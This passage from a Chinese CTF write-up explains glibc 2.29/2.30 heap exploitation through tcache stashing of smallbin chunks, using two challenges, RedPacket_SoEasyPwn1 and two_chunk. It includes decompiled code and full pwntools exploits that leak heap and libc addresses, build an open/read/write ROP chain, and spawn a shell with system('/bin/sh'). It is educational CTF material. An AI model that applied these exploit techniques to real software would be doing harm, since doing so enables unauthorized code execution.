    代码审计到这也就差不多了,如何利用还得根据实际依赖的glibc版本,此题已说明版本为glibc2.29。在此版本下不能利用 h o u s e   o f   s t o r m \textcolor{orange}{house\ of\ storm} house of storm(不能unlink)和 u n s o r t b i n   a t t a c k \textcolor{orange}{unsortbin\ attack} unsortbin attack,并且分配的大小也都做了限制,所以也不能使用 f a s t b i n   a t t a c k \textcolor{orange}{fastbin\ attack} fastbin attack。回顾程序留下的后门,要想使用它,则必须满足if条件。又因为 glibc2.29引入了 Tcache机制,并且程序使用的是 c a l l o c ( ) \textcolor{cornflowerblue}{calloc()} calloc()分配内存,所以可以使用本节介绍的方法。

    [利用]:

    1. 为了得到smallbin,先要把Tcache填满。smallbin范围 [ 0 x 20 , 0 x 3 f 0 ] \textcolor{orange}{[0x20,0x3f0]} [0x20,0x3f0],所以先分配再释放70x410chunk

      for i in range(7):
          Add(1,4,'0x410')
          Del(1)
      
      • 1
      • 2
      • 3
    2. 接着还需要泄露堆和glibc的内存,所以再分配和释放70xf0大小的unsortbinchunk。首先使用60xf0chunk填充Tcache

      for i in range(6):
          Add(2,2,'0x100')
          Del(2)
      
      • 1
      • 2
      • 3
    3. 泄露Heap

      Show(1)
      heap=u64(p.recv(6).ljust(8,'\0'))
      
      • 1
      • 2
    4. 泄露glibc内存

      Add(1,4,'0x410')#用于释放之后泄露glibc内存
      Add(2,3,'0x310')#防止与topchunk合并
      Del(1)
      Show(1)
      libc_addr=u64(p.recv(6).ljust(8,'\x00'))-0x1e4ca0
      
      • 1
      • 2
      • 3
      • 4
      • 5
    5. 此时unsortbin中存入一个0x410大小的chunk,分配两个0x310大小的chunk,就能得到一个大小为0x100smallbin。按照此方法生成两个smallbin。

      Add(2,3,'0x310')
      Add(3,3,'0x310')
      
      Add(2,4,'0x410')
      Add(3,3,'0x310')
      Del(2)
      Add(3,3,'0x310')
      Add(3,3,'0x310')
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
    6. 伪造处在smallbin中的chunk2

      pay='\0'*0x300+p64(0)+p64(0x101)+p64(heap+0x37e0)+p64(heap+0x260+0x800-0x10)#注意:heap+0x260+0x800-0x10代表的地址是接下来要新分配的一块堆地址,并在该堆地址中布置Ropchain。
      Edit(2,pay)
      
      • 1
      • 2
    7. 最后就是正常的布置Ropchain环节了。

      Add(3,2,'Hack')
      
      pop_rsi=0x0000000000026f9e+libc_addr
      pop_rdi=0x0000000000026542+libc_addr
      pop_rdx=0x000000000012bda6+libc_addr
      leave=0x0000000000058373+libc_addr
      rop_addr=heap+0x4940+0x8
      flag_addr=rop_addr+0x100
      
      rop='a'*8
      rop+='flag'.ljust(8,'\0')
      rop+=p64(pop_rdi)+p64(rop_addr)+p64(pop_rsi)+p64(0)+p64(libc.sym['open']+libc_addr)
      rop+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['read']+libc_addr)
      rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['write']+libc_addr)
      
      Add(3,4,rop)
      
      p.sendlineafter("input: ",'666')
      p.recvline()
      p.sendline('a'*0x80+p64(rop_addr)+p64(leave))
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
      • 20

    [EXP]:

    #coding=utf8
    """
    # Author: brucy
    # Created Time : Sat 05 Dec 2020 09:56:57 PM PST
    
    # File Name: exp.py
    # Description:
    
    """
    from pwn import*
    
    #context.log_level=1
    p=process('./RedPacket_SoEasyPwn1')
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    
    def Add(idx,sid,c):
        p.sendlineafter("input: ",'1')
        p.sendlineafter("idx: ",str(idx))
        p.sendlineafter("): ",str(sid))
        p.sendlineafter("content: ",c)
    
    def Edit(idx,c):
       	p.sendlineafter("input: ",'3')
      	p.sendlineafter("idx: ",str(idx))
       	p.sendlineafter("content: ",c)
    
    def Del(idx):
       	p.sendlineafter("input: ",'2')
       	p.sendlineafter("idx: ",str(idx))
        
    def Show(idx):
      	p.sendlineafter("input: ",'4')
       	p.sendlineafter("idx: ",str(idx))
    
    for i in range(7):#fill up Tcache wtih chunk which the size of 0x400.
        Add(0,4,'0x410')
        Del(0)
    
    for i in range(6):
        Add(1,2,'0x100')
        Del(1)
    
    Show(1)
    heap=u64(p.recv(6).ljust(8,'\x00'))-0x32e0
    success('heap:'+hex(heap))
    Add(1,4,'0x410')
    Add(2,3,'0x310')
    Del(1)
    Show(1)
    libc_addr=u64(p.recv(6).ljust(8,'\x00'))-0x1e4ca0
    success('libc_addr:'+hex(libc_addr))
    
    Add(2,3,'0x310')
    Add(3,3,'0x310')
    
    Add(2,4,'0x410')
    Add(3,3,'0x310')
    Del(2)
    Add(3,3,'0x310')
    Add(3,3,'0x310')
    
    pay='\0'*0x300+p64(0)+p64(0x101)+p64(heap+0x37e0)+p64(heap+0x260+0x800-0x10)
    Edit(2,pay)
    
    Add(3,2,'Hack')
    
    pop_rsi=0x0000000000026f9e+libc_addr
    pop_rdi=0x0000000000026542+libc_addr
    pop_rdx=0x000000000012bda6+libc_addr
    leave=0x0000000000058373+libc_addr
    rop_addr=heap+0x4940+0x8
    flag_addr=rop_addr+0x100
    
    rop='a'*8
    rop+='flag'.ljust(8,'\0')
    rop+=p64(pop_rdi)+p64(rop_addr)+p64(pop_rsi)+p64(0)+p64(libc.sym['open']+libc_addr)
    rop+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['read']+libc_addr)
    rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['write']+libc_addr)
    
    Add(3,4,rop)
    
    p.sendlineafter("input: ",'666')
    p.recvline()
    p.sendline('a'*0x80+p64(rop_addr)+p64(leave))
    
    p.interactive()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87

    例2.2020高校战疫 two_chunk

    [保护]:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    
    • 1
    • 2
    • 3
    • 4
    • 5

    [Glibc版本]:

    strings libc.so.6 |grep GLIB
    ...
    GNU C Library (Ubuntu GLIBC 2.30-0ubuntu2) stable release version 2.30.
    
    • 1
    • 2
    • 3
    • Glibc版本为2.30

    [分析]:

    程序一开始通过 m m a p ( ) \textcolor{cornflowerblue}{mmap()} mmap()映射一块0x2000可读可写的内存。

    __int64 Init()
    {
      __int64 g_Mem; // rax
    
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      setbuf(stderr, 0LL);
      Welcome();
      g_Mem = mmap(0x23333000, 0x2000uLL, 3, 34, -1, 0LL);
      buf = g_Mem;
      return g_Mem;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    接着是让用户输入名字和信息

    ssize_t Login()
    {
      void *v0; // rsi
    
      printf("leave your name: ");
      v0 = buf;
      read(0, buf, 0x30uLL);
      printf("leave your message: ", v0);
      return read(0, buf + 48, 0x40uLL);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    程序最多能够添加2chunk,并且 s i z e ∈ ( 0 x 80 , 0 x 3 f f ] \textcolor{orange}{size\in(0x80,0x3ff]} size(0x80,0x3ff]。程序只能有一次编辑和输出的机会,另外隐藏选项6可以获得额外的一次分配0x80大小的chunk和编辑该chunk的机会;隐藏选项7则是将程序一开始**mmap()**映射的内存当做函数指针进行调用,这会是一个最终的利用点。

    程序的漏洞点在编辑函数中:

    __int64 Edit_once()
    {
      int v1; // [rsp+Ch] [rbp-4h]
    
      puts("just edit once!");
      if ( !dword_4014 )
        Exit();
      printf("idx: ");
      v1 = GetId();
      if ( !(&g_HeapList)[2 * v1] )
        Exit();
      printf("content: ");
      read(0, (&g_HeapList)[2 * v1], g_SizeList[4 * v1] + 0x20);// 堆溢出
      return (dword_4014-- - 1);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    我们首选还是要泄露堆地址,注意到程序在新建的操作中有个if分支:

    int Add()
    {
      _DWORD *v0; // rax
      int v2; // [rsp+8h] [rbp-8h]
      int size; // [rsp+Ch] [rbp-4h]
    
      printf("idx: ");
      v2 = GetId();                                 // 只能输入0和1
      if ( (&g_HeapList)[2 * v2] )
        Exit();
      printf("size: ");
      size = GetNum();
      if ( size == 0x5B25 && dword_4020 )           // 泄露堆地址需要用到这个分支
      {
        (&g_HeapList)[2 * v2] = malloc(0xE9uLL);
        --dword_4020;
      }
      else
      {
        if ( size <= 0x80 || size > 0x3FF )         // 只能分配unsortedbin的chunk
          Exit();
        (&g_HeapList)[2 * v2] = calloc(1uLL, size);
      }
      if ( strchr((&g_HeapList)[2 * v2], 0x7F) )
        Exit();
      g_SizeList[4 * v2] = size;
      if ( (&g_HeapList)[2 * v2] )
      {
        LODWORD(v0) = puts("success");
      }
      else
      {
        (&g_HeapList)[2 * v2] = 0LL;
        v0 = g_SizeList;
        g_SizeList[4 * v2] = 0;
      }
      return v0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    c a l l o c ( ) \textcolor{cornflowerblue}{calloc()} calloc()分配出来的内存会被自动清空,所以需要使用 m a l l o c ( ) \textcolor{cornflowerblue}{malloc()} malloc()进行分配。

    最后只要想办法能够操控处于 s m a l l b i n   c h u n k \textcolor{orange}{smallbin\ chunk} smallbin chunk上方且和 s m a l l b i n   c h u n k \textcolor{orange}{smallbin\ chunk} smallbin chunk相邻的chunk,就能够溢出修改 s m a l l b i n   c h u n k \textcolor{orange}{smallbin\ chunk} smallbin chunkbk了。

    [EXP]:

    #coding=utf8
    """
    # Author: brucy
    # Created Time : Mon 07 Dec 2020 06:24:47 PM PST
    
    # File Name: exp.py
    # Description:
    
    """
    from pwn import*
    
    #context.log_level=1
    
    def Login(name,msg):
        p.sendafter('name: ',name)
        p.sendafter('message: ',msg)
    
    def Add(idx,size):
        p.sendlineafter('choice: ','1')
        p.sendlineafter('idx: ',str(idx))
        p.sendlineafter('size: ',str(size))
    
    def Del(idx):
        p.sendlineafter('choice: ','2')
        p.sendlineafter('idx: ',str(idx))
    
    def Showonce(idx):
        p.sendlineafter('choice: ','3')
        p.sendlineafter('idx: ',str(idx))
    
    def Editonce(idx,text):
        p.sendlineafter('choice: ','4')
        p.sendlineafter('idx: ',str(idx))
        p.sendafter('content: ',text)
    
    def Add_And_Edit_Once(text):
        p.sendlineafter('choice: ','6')
        p.sendlineafter('message: ',text)
    
    def Show_Mem_Once():
        p.sendlineafter('choice: ','5')
    
    def Call_Mem():
        p.sendlineafter('choice: ','7')
    
    
    p=process('./twochunk')
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    Mem_addr=0x23333000 
    
    
    Login(p64(Mem_addr+0x20)*6,'a'*0x40)
    
    Add(0,0xf0)
    Del(0)
    Add(0,0xf0)
    Del(0)
    Add(1,0xf0)
    Add(0,0x5b25)
    Showonce(0)
    heap=u64(p.recv(6).ljust(8,'\0'))-0x260
    success('heap:'+hex(heap))
    Del(0)
    Del(1)
    
    for i in range(5):
        Add(0,0x88)
        Del(0)
    
    for i in range(7):
        Add(0,0x300)
        Del(0)
    
    Add(0,0x300)
    Add(1,0x90)
    Del(0)
    Del(1)
    Add(0,0x270)
    Del(0)
    Add(0,0x270)
    Del(0)
    
    Add(0,0x300)
    Add(1,0x90)
    Del(0)
    Del(1)
    Add(0,0x270)
    Add(1,0x270)
    fake='\0'*0x270+p64(0)+p64(0x91)+p64(heap+0x2010)+p64(Mem_addr-0x10)
    Editonce(0,fake)
    
    Del(1)
    Add(1,0x88)
    Del(0)
    
    Show_Mem_Once()
    p.recv(0x15)
    libc_base=u64(p.recv(6).ljust(8,'\0'))-0x1e4c40-224
    success('libc_base:'+hex(libc_base))
    
    Add_And_Edit_Once(p64(libc.sym['system']+libc_base)+p64(libc.search('/bin/sh').next()+libc_base)*10)
    Call_Mem()
    
    p.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
  • 相关阅读:
    java八大包装类
    重装系统后没声音如何解决
    论文阅读——ViTAE
    DVWA系列4:XSS 跨站脚本攻击之 DOM型 和 反射型
    直播回顾|7 月 Pulsar 中文开发者与用户组会议
    原来掌握这些就已经是高级测试工程师!后悔没早点发现!
    渲染管线详解
    常见的网络威胁及解决办法
    MySQL 主从复制数据不一致,怎么办?
    第四章——PCA降维
  • 原文地址:https://blog.csdn.net/qq_41252520/article/details/126198171